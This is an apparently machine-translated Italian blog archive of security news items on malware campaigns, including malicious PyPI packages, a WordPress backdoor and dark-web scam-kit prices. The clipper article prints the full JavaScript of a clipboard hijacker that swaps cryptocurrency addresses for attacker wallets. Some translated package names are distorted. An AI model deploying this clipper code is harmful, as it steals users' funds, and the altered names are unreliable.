Malware Archivi - Webbare

Scopri quanto costano sul dark web gli strumenti utilizzati dagli hacker [Screenshot inclusi]

admin — Wed, 20 Nov 2024 09:25:13 +0000

Smascherare le offerte del dark web: gli strumenti e le truffe usate dagli hacker in questa stagione di shopping

Gli hacker possono facilmente reperire kit per la truffa e il phishing, oltre a layout di siti di shopping falsi, a partire da soli 5 dollari o addirittura gratis.

Tradizionalmente, novembre e dicembre sono i mesi di punta per le vendite al dettaglio, grazie soprattutto alle festività natalizie. Le statistiche sugli acquisti online rivelano che il Black Friday e il Cyber Monday sono i giorni con il più alto volume di spesa dell’anno.

Mentre i consumatori si preparano a fare acquisti online, gli hacker si preparano a truffarli. Questo è possibile perché il dark web è pieno di kit di phishing, truffe, tutorial, siti web falsi e persino corsi personalizzati su come realizzare queste frodi. Grazie alle analisi di NordStellar, ora possiamo monitorare e confrontare queste minacce.

“I kit di phishing sono spesso gratuiti, mentre i layout di siti web falsi possono costare circa 50 dollari. Gli abbonamenti ai malware-as-a-service si aggirano intorno ai 150 dollari al mese, e gli strumenti più costosi, come i cookie grabber – le pagine per la cattura dei cookie – superano facilmente i 400 dollari. Tuttavia, come per qualsiasi altra cosa, è possibile trovare sconti anche su questi articoli,” spiega Adrianus Warmenhoven, esperto di sicurezza informatica di NordVPN.

Creare falsi siti di shopping: Una tattica semplice e diffusa

Le statistiche sulle truffe online rivelano che i falsi siti di e-commerce sono tra le frodi più efficaci. Fino all’84% delle persone cadono nella trappola di un sito di shopping falso e quasi la metà di queste perde denaro.

Questi siti imitando aziende o servizi legittimi, riproducendo spesso design e loghi in modo identico, mentre gli URL possono differire di appena un carattere.

“I truffatori si spacciano per le principali piattaforme come PayPal, Amazon, Shopify, vari siti bancari e persino Netflix per colpire i loro utenti. I kit per la creazione di queste pagine offrono diverse funzionalità, come la personalizzazione tramite codifica HTML e la facilità di configurazione. Queste pagine raccolgono informazioni sensibili, come i dettagli delle carte di credito, e sono dotate di sistemi avanzati anti-bot. Inoltre, sono progettate per ostacolare la scansione dei siti web e sono in grado di bypassare i sistemi di sicurezza come l’OTP (one-time password) e il metodo 2FA (autenticazione a 2 fattori), con l’obiettivo di eludere il rilevamento,” afferma Warmenhoven.

Offerte sul dark web: Malware e cookie grabber

Il dark web offre anche servizi di malware-as-a-service in abbonamento, disponibili per soli 100-150 dollari al mese, mentre i kit di phishing sono spesso gratuiti. Di conseguenza, i criminali informatici hanno accesso a una vasta gamma di strumenti per creare le loro truffe e ottenere supporto attraverso canali Telegram e forum facilmente accessibili.

Le pagine “cookie grabber” sono tra i kit di truffa online più costosi che è possibile trovare nel dark web. Queste pagine sono appositamente create per catturare i cookie dal browser dell’utente o dalle piattaforme social, come Facebook, che gli hacker possono poi utilizzare per scopi illeciti.

“Una ricerca condotta da NordVPN ha rivelato che oltre 54 miliardi di cookie sono stati trovati in vendita sul dark web, evidenziando l’entità del problema. Potresti non rendertene conto, ma se un hacker entra in possesso dei tuoi cookie attivi, non avrà bisogno di credenziali, password e nemmeno di un’autenticazione a più fattori per accedere ai tuoi account e prenderne il controllo. Le informazioni personali più comunemente rubate tramite i cookie includono nomi, indirizzi email, città, password e indirizzi fisici,” è il commento di Warmenhoven.

Come proteggerti dalle truffe degli acquisti online

Sebbene non esista una soluzione infallibile per proteggersi dagli hacker, Warmenhoven suggerisce alcune strategie digitali efficaci:

Imparare a riconoscere il phishing: le email e gli SMS di phishing sono tra le principali cause di infezioni da malware.
Evitare i download illegali: non scaricare software, applicazioni o aggiornamenti da fonti non ufficiali, ma solo da app store o siti web ufficiali.
Usare strumenti di protezione come Threat Protection Pro di NordVPN: questa funzione blocca siti dannosi, verifica la presenza di malware nei download e impedisce il tracciamento dei dati, proteggendo le informazioni personali degli utenti.
Eliminare regolarmente i cookie: ridurre al minimo i cookie memorizzati aiuta a limitare i dati che gli hacker possono sottrarre.
Proteggere gli account con l’autenticazione a più fattori (MFA): abilitare l’autenticazione a più fattori sui propri account aggiunge un ulteriore livello di sicurezza, fondamentale se qualcuno entra in possesso delle tue credenziali.
Utilizzare strumenti di monitoraggio del dark web: Dark Web Monitor scansiona continuamente il dark web per rilevare eventuali fughe di dati. Se il tuo indirizzo email appare in un database compromesso, ricevi un avviso.

Fonte: NordVPN

L'articolo Scopri quanto costano sul dark web gli strumenti utilizzati dagli hacker [Screenshot inclusi] proviene da Webbare.

Gli hacker sfruttano sempre più spesso i packer per diffondere il malware

admin — Wed, 12 Jun 2024 13:16:08 +0000

I ricercatori di Cybersecurity di Check Point hanno scoperto una tendenza crescente degli hacker a sfruttare strumenti commerciali di imballaggio come BoxedApp per nascondere e distribuire vari ceppi di malware. Nell’ultimo anno è stato osservato un aumento significativo dell’abuso dei prodotti BoxedApp, in particolare negli attacchi rivolti a istituzioni finanziarie e organizzazioni governative.

BoxedApp offre una serie di packer commerciali, tra cui BoxedApp Packer e BxILMerge, che forniscono funzionalità avanzate come l’archiviazione virtuale (file system virtuale, registro virtuale), i processi virtuali e un sistema di strumentazione universale (aggancio API WIN/NT). Sebbene questi strumenti siano stati progettati per scopi legittimi, gli attori delle minacce li hanno sfruttati per confezionare payload dannosi, eludere il rilevamento e rendere più difficili le attività di analisi.

Secondo le indagini dei ricercatori, i principali prodotti BoxedApp abusati sono BoxedApp Packer e BxILMerge, entrambi costruiti sopra l’SDK di BoxedApp. Questi prodotti garantiscono agli attori delle minacce l’accesso alle funzionalità più avanzate dell’SDK, consentendo loro di creare packer personalizzati e unici che sfruttano funzionalità all’avanguardia pur rimanendo abbastanza diversi da evitare il rilevamento statico.

I vantaggi derivanti dall’utilizzo delle funzionalità avanzate ed esclusive offerte da BoxedApp SDK superano gli svantaggi derivanti dall’utilizzo di un packer commerciale noto. Tra le caratteristiche e le capacità più importanti vi sono il File System Virtuale, il Registro Virtuale, i Processi Virtuali (PE Injection), l’SDK per l’aggancio delle API WIN/NT, il packing generale (distruzione delle importazioni PE originali, compressione, ecc.), la produzione di bundle di singoli file e la garanzia che tutto l’I/O verso lo storage virtuale rimanga in memoria senza scaricare i file su disco.

Sebbene i prodotti BoxedApp siano disponibili da diversi anni, il loro abuso per scopi dannosi è aumentato in modo significativo nell’ultimo anno, senza che finora sia stato riconosciuto pubblicamente il loro legame con BoxedApp. Sebbene l’uso di packer commerciali abbia sia pro che contro per gli aggressori, le capacità avanzate che forniscono sembrano superare i potenziali svantaggi.

I vantaggi dell’utilizzo dei prodotti BoxedApp per la distribuzione di malware includono:

Prodotti affidabili e pronti all’uso con funzionalità avanzate
SDK BoxedApp disponibile per la creazione di packer personalizzati e diversificati
Sistema di archiviazione virtuale proprietario (Virtual File System, Virtual Registry)
Creazione di processi virtuali per l’iniezione di PE
SDK semplice per agganciare le API WIN/NT
Impacchettamento generale (distrugge le importazioni di PE originali, esegue la compressione, ecc.)
Produzione di bundle a file singolo con tutte le dipendenze in Virtual Storage
Tutto l’I/O verso il Virtual Storage rimane in memoria, evitando cadute di file su disco
Difficoltà nel distinguere le applicazioni impacchettate regolari da quelle dannose (alto tasso di falsi positivi).

I contro includono:

Facile rilevamento statico dei prodotti BoxedApp originali utilizzati per il confezionamento
Rilevamento statico generico di alcune funzionalità dell’SDK comunemente utilizzate per scopi dannosi (ad esempio, aggancio di API WIN/NT, iniezione di processi virtuali – PE).
Alto tasso di rilevamento di falsi positivi per le applicazioni non dannose confezionate da BoxedApp

Nonostante l’elevato tasso di falsi positivi, che potrebbe causare discrepanze e innescare rilevamenti anche per applicazioni non dannose, Windows Defender integrato e altre soluzioni antivirus di alto livello non sono in genere interessati.

I ricercatori hanno analizzato circa 1.200 campioni di BoxedApp inviati a VirusTotal negli ultimi tre anni ed elaborati con successo dalle sandbox VT. È allarmante notare che il 25% di questi campioni è stato rilevato come dannoso in base al loro comportamento. La cronologia di invio a VirusTotal di questi campioni dannosi mostra una tendenza crescente all’abuso di BoxedApp per la distribuzione di malware.

Tra le famiglie di malware più comunemente distribuite vi sono RAT (Trojan ad accesso remoto) come QuasarRAT, NanoCore, NjRAT, Neshta, AsyncRAT e LodaRAT, nonché stealers come RevengeRAT, AgentTesla, RedLine e Remcos. Inoltre, sono stati rilevati casi di ransomware come LockBit.

I ricercatori hanno condotto un’analisi approfondita degli interni di BoxedApp, concentrandosi sulle strutture binarie risultanti confezionate da diversi prodotti. Questa analisi ha fornito spunti per disimballare il Virtual Storage e ricostruire i principali binari dannosi. Sono state inoltre fornite le firme Yara per aiutare a rilevare staticamente il packer in uso, distinguendo al contempo il prodotto specifico utilizzato.

L'articolo Gli hacker sfruttano sempre più spesso i packer per diffondere il malware proviene da Webbare.

Sonatype espone il pacchetto PyPI dannoso “pytoileur”

admin — Wed, 29 May 2024 15:35:51 +0000

Sonatype ha scoperto “pytoileur”, un pacchetto PyPI dannoso progettato per scaricare e installare binari Windows troianizzati in grado di sorvegliare, requisire la persistenza e rubare criptovalute. Questa scoperta fa parte di una campagna più ampia, durata mesi, denominata “Cool package”, volta a infiltrarsi nella comunità dei codificatori.

Ieri, un sistema di rilevamento automatico di malware gestito da Sonatype, noto come Sonatype Repository Firewall, ha segnalato un pacchetto PyPI appena pubblicato chiamato “pytoileur”. Il pacchetto dannoso, rintracciato come sonatype-2024-1783, aveva registrato 264 download dal suo rilascio prima che Sonatype avvertisse gli amministratori di PyPI di rimuoverlo.

Il pacchetto si descriveva come “pacchetto cool”, con una descrizione HTML che affermava che si trattava di “uno strumento di gestione delle API scritto in Python”. È interessante notare che includeva un riferimento a “pystob”, un pacchetto ormai defunto, indicando un tentativo di typosquatting per ingannare gli utenti di pacchetti legittimi come “Pyston”.

A prima vista, il file “setup.py” all’interno di “pytoileur” sembrava pulito, ma Jeff Thornhill, ricercatore di sicurezza di Sonatype, ha scoperto del codice maligno abilmente nascosto con spazi bianchi eccessivi.

“Sebbene la codifica base64 sia piuttosto standard nelle applicazioni e non offra molto in termini di mascheramento del codice dannoso, l’autore ha tentato di ‘nascondere’ questa particolare stringa codificata alla revisione umana manuale iniettandola dopo un’istruzione di stampa e includendo un paragrafo di spazi bianchi prima del codice”, ha spiegato Thornhill.

Il payload codificato in base64 è stato progettato per colpire gli utenti di Windows. Utilizzava comandi Python per scaricare un eseguibile dannoso da un server esterno (hxxp://51.77.140[.]144:8086/dl/runtime). Il binario dannoso, “Runtime.exe”, viene eseguito utilizzando comandi Windows PowerShell e VBScript. Questo eseguibile impiega misure anti-rilevamento per evitare i controlli e installa spyware aggiuntivi in grado di persistere, tra cui funzionalità di furto di informazioni e crypto-jacking.

Ax Sharma, ricercatore di Sonatype, ha scoperto che l’attore delle minacce dietro il pacchetto PyPI dannoso “pytoileur” sta pubblicando risposte false su StackOverflow, invitando le persone a installare il pacchetto dannoso.

Questa preoccupazione è amplificata dalla grande presenza di sviluppatori alle prime armi su StackOverflow, che stanno ancora imparando e potrebbero essere vittime di consigli dannosi.

Ulteriori indagini hanno rivelato che “pytoileur” fa parte di una campagna più ampia legata a pacchetti dannosi identificati in precedenza. Questi pacchetti, spesso descritti semplicemente come “Cool package”, hanno utilizzato tecniche di inganno simili dal 2023. Si camuffano da strumenti di gestione delle API o da versioni semplificate di utility ben note, prendendo di mira gli sviluppatori di varie nicchie, tra cui l’intelligenza artificiale e l’apprendimento automatico.

Uno dei pacchetti precedenti, “gpt-requests”, che sembrava rivolto agli sviluppatori di IA, nascondeva anche i payload dannosi utilizzando gli spazi bianchi. Simili a “pytoileur”, questi payload scaricano binari troianizzati destinati allo spionaggio e al furto di dati.

Il pacchetto “lalalaopti” è particolarmente degno di nota perché conteneva moduli di codice Python in chiaro per il dirottamento degli appunti, il keylogging, l’accesso remoto alla webcam e la cattura degli screenshot, evidenziando ulteriormente l’intento malevolo degli attori delle minacce dietro questa campagna.

I ricercatori di Sonatype e Checkmarx hanno identificato diversi pacchetti dannosi collegati a questa campagna, tra cui:

gogogolokl
gpt-richieste
kokokoako
lalalaopti
pybowl
pyclack
pyefflorer
pyhjdddo
pyhulul
piioapso
pyjio
pyjoul
pykokalalz
pykooler
pyktrkatoo
pilone
piminor
piowler
pipiele
pystallerer
pistob
pytarlooko
pytasler
pitoileur
pywolle
pywool

La ricomparsa della campagna “Cool package” attraverso “pytoileur” dimostra la persistenza delle minacce poste da attori malintenzionati negli ambienti di sviluppo software. In presenza di minacce simili, Sonatype dichiara che continuerà a espandere le proprie blocklist e a salvaguardare la comunità degli sviluppatori.

L'articolo Sonatype espone il pacchetto PyPI dannoso “pytoileur” proviene da Webbare.

Phylum scopre un malware mirato camuffato in un pacchetto Python

admin — Wed, 22 May 2024 11:58:05 +0000

Gli esperti di cybersicurezza di Phylum hanno individuato un payload dannoso incorporato in un popolare pacchetto Python sul repository PyPI. Il pacchetto, denominato requests-darwin-lite, è una variante non autorizzata della libreria requests, ampiamente utilizzata.

Il pacchetto requests-darwin-lite è stato abilmente progettato per emulare la sua controparte legittima, ma includeva un binario Go nascosto in un file immagine sovradimensionato che fingeva di essere un semplice logo. Questo file – un PNG etichettato come immagine della barra laterale – pesava insolitamente circa 17 MB, in netto contrasto con le dimensioni normali di circa 300 kB della versione autentica.

Durante l’installazione del pacchetto, se l’ambiente di installazione era macOS, veniva attivata una classe di comando specializzata “PyInstall”. Questa classe esegue un comando codificato in base64 che estrae l’UUID (Universal Unique Identifier) del sistema.

Il codice verificava la presenza di un UUID specifico, indicando un attacco altamente mirato. Se l’UUID non corrispondeva, l’installazione proseguiva senza distribuire il malware. Ciò suggerisce che gli aggressori stavano testando la distribuzione o avevano in mente un obiettivo molto specifico.

Quando le condizioni erano soddisfatte, il file PNG sovradimensionato veniva elaborato per estrarre il binario nascosto, che veniva poi reso eseguibile ed eseguito in background, dando di fatto agli aggressori il controllo del computer. L’analisi dei file ha identificato il binario come un componente di OSX/Silver, un framework C2 (comando e controllo) simile a Cobalt Strike, ma meno conosciuto e quindi con minori probabilità di essere rilevato.

Phylum ha notato che le versioni precedenti di questo pacchetto includevano il gancio di installazione dannoso e il binario impacchettato. Tuttavia, le versioni successive – identificate come 2.28.0 e 2.28.1 – hanno ridotto queste caratteristiche aggressive; la prima non esegue più il binario al momento dell’installazione e la seconda è del tutto priva dei componenti dannosi.

La scoperta ha provocato una segnalazione immediata a PyPI, che ha portato alla rimozione di tutte le versioni del pacchetto dal repository. Questa sequenza di eventi sottolinea la necessità di vigilare nella comunità open-source, dove la confusione delle dipendenze e gli attacchi mirati stanno diventando sempre più sofisticati.

Questo incidente ci ricorda che gli aggressori continuano ad evolvere i loro metodi per sfruttare gli ecosistemi open-source, sfruttando pacchetti apparentemente innocenti per distribuire malware. È necessario aumentare la consapevolezza e le misure preventive in tutta la comunità tecnologica per salvaguardarsi da questi attacchi.

L'articolo Phylum scopre un malware mirato camuffato in un pacchetto Python proviene da Webbare.

PyPI sospende le registrazioni a causa di un attacco di malware

admin — Wed, 03 Apr 2024 08:18:31 +0000

Il Python Package Index (PyPI) ha sospeso la creazione di nuovi progetti e la registrazione degli utenti per mitigare una campagna di upload di malware in corso. Questa mossa arriva dopo che i ricercatori di sicurezza di Checkmarx hanno scoperto una campagna che coinvolge più pacchetti dannosi legati agli stessi attori della minaccia.

Gli aggressori stanno prendendo di mira le vittime attraverso attacchi di typosquatting, inducendo gli utenti a installare pacchetti Python dannosi attraverso la loro interfaccia a riga di comando. Questo attacco in più fasi mira a rubare portafogli di criptovalute, dati sensibili del browser come cookie e dati delle estensioni e varie credenziali.

Il payload dannoso impiega anche un meccanismo di persistenza per sopravvivere ai riavvii del sistema, garantendo l’accesso continuo alle macchine compromesse.

Pacchetti maligni di typosquatting

Tra il 27 e il 28 marzo 2024, diversi pacchetti Python dannosi sono stati caricati su PyPI, probabilmente utilizzando strumenti di automazione. Questi pacchetti contenevano codice maligno all’interno dei loro file setup.py, consentendo l’esecuzione automatica al momento dell’installazione.

I file setup.py contenevano codice offuscato e crittografato utilizzando il modulo di crittografia Fernet. Al momento dell’installazione, questo codice veniva eseguito, innescando il recupero di un payload aggiuntivo da un server remoto. L’URL del payload è stato costruito dinamicamente aggiungendo il nome del pacchetto come parametro di query.

Una volta decriptato, il payload recuperato ha rivelato un ampio info-stealer progettato per raccogliere informazioni sensibili dal computer della vittima, tra cui portafogli di criptovalute, dati del browser e credenziali.

In risposta alla campagna di malware, PyPI ha temporaneamente sospeso la creazione di nuovi progetti e la registrazione di nuovi utenti. Questa misura mira a mitigare la minaccia in corso mentre l’organizzazione indaga e affronta il problema.

L’elenco completo dei pacchetti scoperti da Checkmarx è disponibile qui.

L'articolo PyPI sospende le registrazioni a causa di un attacco di malware proviene da Webbare.

GitHub, oltre 100.000 repository infetti

admin — Wed, 06 Mar 2024 13:11:34 +0000

Gli sviluppatori si trovano di fronte a una grave minaccia per la sicurezza: oltre 100.000 repository su GitHub sono stati infettati con codice malevolo.

La recrudescenza di una campagna di confusione di repo maligni – rilevata dai ricercatori di sicurezza di Apiiro – ha colpito innumerevoli sviluppatori che utilizzano inconsapevolmente repository che ritengono affidabili ma che in realtà sono compromessi.

Simili agli attacchi di confusione delle dipendenze – che sfruttano i gestori di pacchetti – gli attacchi di confusione dei repository si basano sull’errore umano, inducendo gli sviluppatori a scaricare versioni dannose invece di quelle legittime.

I malintenzionati clonano i repository esistenti, li infettano con il malware, li caricano con nomi identici su GitHub e poi li biforcano automaticamente migliaia di volte, diffondendoli sul web attraverso forum e altri canali.

Una volta che gli sviluppatori utilizzano questi repository infetti, il payload nascosto scompone gli strati di offuscamento, eseguendo codice Python ed eseguibili binari dannosi. Questo codice modificato – spesso una versione di BlackCap-Grabber – raccoglie dati sensibili come le credenziali di accesso e le informazioni del browser, inviandoli al server di comando e controllo degli aggressori.

Mentre GitHub rimuove rapidamente la maggior parte dei repository biforcati, il rilevamento automatico non ne individua molti, permettendo a migliaia di persone di persistere.

Il processo di rimozione, che ha come obiettivo le bombe a forcella, avviene entro poche ore dal caricamento, rendendo difficile documentare la portata dell’attacco. L’enorme volume di repository coinvolti in questa campagna, unito alla loro automazione, rappresenta una sfida significativa per gli sforzi di rilevamento e mitigazione.

Questa campagna dannosa è iniziata nel maggio 2023 con la diffusione di pacchetti dannosi su PyPI e mette in evidenza una tendenza più ampia del malware che prende di mira le catene di fornitura del software. Con l’aumento dell’attenzione sui gestori di pacchetti, gli aggressori stanno spostando la loro attenzione sui gestori del controllo sorgente come GitHub.

L'articolo GitHub, oltre 100.000 repository infetti proviene da Webbare.

Android verifica finalmente la presenza di malware nelle app prima dell’installazione

admin — Wed, 25 Oct 2023 12:37:53 +0000

In risposta alle crescenti minacce informatiche, Google ha introdotto un aggiornamento per rafforzare la sicurezza di Android. Questo miglioramento si concentra sul rafforzamento del rilevamento di malware prima dell’installazione delle app, garantendo un ecosistema Android più sicuro.

Con questo aggiornamento, Google Play Protect esegue ora scansioni in tempo reale a livello di codice durante il processo di installazione delle app:

Fornendo agli utenti un feedback immediato sulla sicurezza delle app che stanno installando, Google consente agli utenti di prendere decisioni informate, riducendo così i rischi associati alle app dannose.

Il miglioramento è stato avviato a livello globale, a partire da alcuni Paesi selezionati, per poi estendersi gradualmente a tutte le regioni. L’impegno di Google nel fornire un’esperienza digitale sicura ai propri utenti è evidente nella distribuzione tempestiva di questa funzione in tutto il mondo.

Questo aggiornamento essenziale sottolinea i continui sforzi di Google per mantenere l’integrità della sua piattaforma. Concentrandosi sui controlli in tempo reale delle minacce informatiche durante le installazioni, Google intende promuovere la fiducia degli utenti nell’ecosistema Android e favorire un’esperienza mobile più sicura e protetta per milioni di utenti.

L'articolo Android verifica finalmente la presenza di malware nelle app prima dell’installazione proviene da Webbare.

Una nuova backdoor di WordPress crea un amministratore malevolo per dirottare i siti web

admin — Wed, 18 Oct 2023 12:17:33 +0000

Un nuovo malware si è spacciato per un plugin di caching legittimo per colpire i siti WordPress, consentendo agli attori delle minacce di creare un account amministratore e controllare l’attività del sito.

Il malware è una backdoor con una serie di funzioni che gli consentono di gestire i plugin e di nascondersi da quelli attivi sui siti web compromessi, di sostituire i contenuti o di reindirizzare alcuni utenti verso posizioni dannose.

Gli analisti di Defiant, i produttori del plugin di sicurezza Wordfence per WordPress, hanno scoperto il nuovo malware a luglio durante la pulizia di un sito web.

Osservando più da vicino la backdoor, i ricercatori hanno notato che si presentava “con un commento di apertura dall’aspetto professionale” per camuffarsi da strumento di caching, che di solito aiuta a ridurre la pressione sui server e a migliorare i tempi di caricamento delle pagine.

La decisione di imitare tale strumento sembra deliberata, per garantire che passi inosservato durante le ispezioni manuali. Inoltre, il plugin dannoso è impostato per escludersi dall’elenco dei “plugin attivi” come mezzo per eludere i controlli.

Il malware presenta le seguenti funzionalità:

Creazione di un utente – Una funzione crea un utente chiamato “superadmin” con una password codificata e permessi di amministrazione, mentre una seconda funzione può rimuovere l’utente per cancellare le tracce dell’infezione.
Creazione di un utente amministratore disonesto nel sito
Rilevamento dei bot – Quando i visitatori venivano identificati come bot (ad esempio i crawler dei motori di ricerca), il malware serviva loro contenuti diversi, come lo spam, inducendoli a indicizzare il sito compromesso alla ricerca di contenuti dannosi. In questo modo, gli amministratori potrebbero assistere a un improvviso aumento del traffico o a segnalazioni di utenti che si lamentano di essere stati reindirizzati verso posizioni dannose.
Sostituzione dei contenuti – Il malware può alterare i contenuti dei post e delle pagine e inserire link o pulsanti di spam. Gli amministratori dei siti web ricevono contenuti non modificati per ritardare la realizzazione della compromissione.
Controllo dei plugin – Gli operatori del malware possono attivare o disattivare da remoto plugin WordPress arbitrari sul sito compromesso. Inoltre, pulisce le sue tracce dal database del sito, in modo che questa attività rimanga nascosta.
Controllo dell’attivazione/disattivazione dei plugin
Invocazione remota – La backdoor controlla stringhe specifiche dell’agente utente, consentendo agli aggressori di attivare in remoto varie funzioni dannose.

“Prese insieme, queste caratteristiche forniscono agli aggressori tutto ciò di cui hanno bisogno per controllare e monetizzare da remoto un sito vittima, a spese delle classifiche SEO del sito stesso e della privacy degli utenti”, affermano i ricercatori in un rapporto.

Al momento, Defiant non fornisce alcun dettaglio sul numero di siti web compromessi con il nuovo malware e i suoi ricercatori devono ancora determinare il vettore di accesso iniziale.
I metodi tipici per compromettere un sito web includono il furto di credenziali, il brute-forcing delle password o lo sfruttamento di una vulnerabilità in un plugin o in un tema esistente.

Defiant ha rilasciato una firma di rilevamento per gli utenti della versione gratuita di Wordfence e ha aggiunto una regola del firewall per proteggere gli utenti Premium, Care e Response dalla backdoor.

Pertanto, i proprietari di siti web dovrebbero utilizzare credenziali forti e uniche per gli account di amministrazione, mantenere i plugin aggiornati e rimuovere i componenti aggiuntivi e gli utenti inutilizzati.ss crea un amministratore malvagio per dirottare i siti web

L'articolo Una nuova backdoor di WordPress crea un amministratore malevolo per dirottare i siti web proviene da Webbare.

Malware Clipper trovato in oltre 451 pacchetti PyPI

admin — Tue, 21 Feb 2023 09:11:32 +0000

I ricercatori di sicurezza di Phylum hanno scoperto oltre 451 pacchetti nel Python Package Index (PyPI) che sono infetti da malware “clipper”.

I clipper sostituiscono il contenuto degli appunti di una vittima con qualcosa che avvantaggia l’aggressore. I clipper più diffusi oggi cercano indirizzi di criptovaluta e li modificano per rubare fondi.

A partire dal 9 febbraio, Phylum è stata avvisata dalla sua piattaforma di rilevamento automatico dei rischi di una lunga serie di pubblicazioni sospette su PyPI. I ricercatori hanno notato che sembrava simile a una precedente campagna scoperta nel novembre 2022, ma con una tecnica di offuscamento aggiornata e un volume “radicalmente aumentato”.

La campagna precedente ha visto gli aggressori pubblicare poco più di due dozzine di pacchetti. Questa volta ci sono oltre 451 pacchetti unici.

“Questo utente malintenzionato ha notevolmente aumentato la propria impronta in pypi attraverso l’automazione”, ha spiegato Phylum.

Entrambe le campagne sfruttano il typosquatting, ovvero un semplice errore di battitura nell’indirizzo di un pacchetto legittimo, per indurre gli sviluppatori a installare versioni dannose.

In questo caso, viene creata un’estensione del browser Chromium che viene caricata automaticamente all’avvio di uno dei browser di destinazione, inclusi Chrome, Edge, Brave e Opera, utilizzando l’opzione della riga di comando “–load-extension”.

Il seguente JavaScript viene quindi scritto nell’estensione che mira a sostituire la crittografia indirizzata con quella controllata dall’attacker:

let page = chrome.extension.getBackgroundPage();

var inputElement = document.createElement(‘input’);

document.body.appendChild(inputElement);

inputElement.focus();

function checkWalletAddresses() {

document.execCommand(‘paste’);

var clipboardContent = inputElement.value;

clipboardContent = clipboardContent.replace(/^(0x)[A-Fa-f0-9]{40}$/g, ‘0x6eb2103839011Ed56c98145b3d3f9d6BE1b4dA63’);

clipboardContent = clipboardContent.replace(/^T[A-Za-z1-9]{33}$/g, ‘TK3dtT7vYLkhUyzLqbQMmsrM36QzFnmfaa’);

clipboardContent = clipboardContent.replace(/^(bnb1)[0-9a-z]{38}$/g, ‘bnb1pncs5ct0rdh3rcdms8708x9jrdy038ml33ceuw’);

clipboardContent = clipboardContent.replace(/^([13]{1}[a-km-zA-HJ-NP-Z1-9]{26,33}|bc1[a-z0-9]{39,59})$/g, ‘bc1qkjm7r677a4fkxcmx9kzlk55a9eaqtztq8zwrc2’);

clipboardContent = clipboardContent.replace(/^[LM3][a-km-zA-HJ-NP-Z1-9]{26,33}$/g, ‘LcVct9KwHwUKftDNjbBxUtjK9WeUkYbRN3’);

clipboardContent = clipboardContent.replace(/^r[0-9a-zA-Z]{24,34}$/g, ‘rJd2pxs7TxE77W8X3Ezt2QyrhMJixMehPx’);

clipboardContent = clipboardContent.replace(/^D{1}[5-9A-HJ-NP-U]{1}[1-9A-HJ-NP-Za-km-z]{32}$/g, ‘DFbEVJUt9TcyBgVGriy3DcNBwYhK3s7Yhx’);

clipboardContent = clipboardContent.replace(/^addr1[a-z0-9]+$/g, ‘addr1q8206rrze22rz8g5lggn4clv7zu9mq6w6a6llvw8v3l7r8k5l5xx9j55xyw3f7s38t37eu9ctkp5a4m4l7cuwerlux0qxlhwvz’);

clipboardContent = clipboardContent.replace(/^[48]([0-9AB]{1})([0-9a-zA-Z]{93})$/g, ’41iwYzbS1KKX8DFySxDcGBGGfJzywUeHxWumm4fjYxtYCiHtysXmq3P7RqG18Tv5UDKGNQegefxS2FFqrqeapvB7FuYSBJv’);

clipboardContent = clipboardContent.replace(/^G[0-7A-Za-z]{55}$/g, ‘GCUPRZDN5RGSO3MC4LBIZBJMCS5KNUYQI2HZNUHVEBC5LNWZODWQ24XH’);

\tclipboardContent = clipboardContent.replace(/^cosmos[a-z0-9]{39}$/g, ‘cosmos1cd3hxdkc775zj75xtd3gqp8s7hynxkzewcf58y’);

inputElement.value = clipboardContent;

inputElement.select();

document.execCommand(‘copy’);

inputElement.value = ”;

}

setInterval(checkWalletAddresses, 1000);

Puoi trovare la ripartizione completa della campagna di Phylum e l’elenco dei pacchetti scoperti qui.

L'articolo Malware Clipper trovato in oltre 451 pacchetti PyPI proviene da Webbare.

Twitter impedisce agli utenti di condividere link provenienti da Mastodon

admin — Wed, 21 Dec 2022 12:59:08 +0000

Twitter ha impedito ai suoi utenti di condividere alcuni collegamenti al suo rivale sui social media Mastodon.

Mastodon è diviso in gruppi, chiamati server, basati su molti argomenti tra cui il Regno Unito, lo snooker e la sicurezza.

Twitter ha bloccato i collegamenti ad alcuni dei server più grandi a cui gli utenti si unirebbero, incluso il canale “social” più popolare.

E Twitter sta anche impedendo agli utenti di aggiungere collegamenti al proprio account Mastodon nel proprio bios, chiamandoli “malware”.

Non ci sono assolutamente prove a sostegno del suggerimento che Mastodon contenga malware, software dannoso che può danneggiare il tuo dispositivo.

Mastodon ha affermato di aver guadagnato centinaia di migliaia di utenti a novembre, con alcuni utenti di Twitter che cercano piattaforme alternative.
Uno screenshot da Twitter. Mostra un collegamento Mastodon nel campo Bio di un account. In fondo si legge “aggiornamento dell’account non riuscito, la descrizione è considerata malware”.

Lo stesso risultato si verifica se il collegamento viene pubblicato nel campo posizione o sito web.

La BBC non è stata in grado di pubblicare collegamenti al server mastodon.social più popolare, così come a più di altri 10, incluso un server per i giornalisti e un altro per le persone nel Regno Unito.

Ma non tutti i collegamenti a Mastodon sono stati bloccati e ci sono modi per aggirare il problema.

L’editor di tecnologia della BBC Zoe Kleinman è riuscita a twittare con successo un riferimento al suo account Mastodon – zsk@mastodonapp.uk – perché non è un link cliccabile.

Un successivo tentativo di trasformare il riferimento in un collegamento cliccabile alla sua pagina Mastodon non può essere pubblicato su Twitter.

Non è chiaro quanti server Mastodon siano stati bloccati su Twitter, o perché.

Gli utenti che tentano di pubblicare collegamenti a server bloccati riceveranno invece un messaggio di errore che dice: “Non possiamo completare questa richiesta perché questo collegamento è stato identificato da Twitter o dai nostri partner come potenzialmente dannoso”.
Un tentativo di twittare il server principale di Mastodon, con il messaggio di errore visualizzato

Oltre a bloccare alcuni collegamenti a Mastodon, Twitter ha preso provvedimenti contro l’account principale del suo rivale.

L’account Twitter @joinmastodon, che pubblicizzava il sito e le sue funzionalità, è stato inaspettatamente sospeso giovedì insieme a quelli di diversi noti giornalisti che coprivano il proprietario di Twitter Elon Musk.

Ciò ha portato l’UE a minacciare Musk di sanzioni, con la commissaria Vera Jourova che ha avvertito che la legge sui servizi digitali dell’UE richiede il rispetto della libertà dei media.

“Elon Musk dovrebbe esserne consapevole. Ci sono linee rosse. E sanzioni, presto”, ha twittato.

Una portavoce di Twitter ha dichiarato al sito web tecnologico The Verge che il divieto dei giornalisti era correlato alla condivisione in diretta dei dati sulla posizione.

Ciò è avvenuto dopo che il signor Musk ha promesso di citare in giudizio il proprietario di un account Twitter che ha rintracciato il suo jet privato. Anche questo account è stato sospeso.

Sebbene non sia stato fornito alcun motivo per la sospensione di Mastodon, c’è una coincidenza nel tempismo: nelle poche ore precedenti, @joinmastodon ha condiviso un collegamento che mostra dove si trova la persona che segue il jet di Mr Musk sul sito di social media rivale.

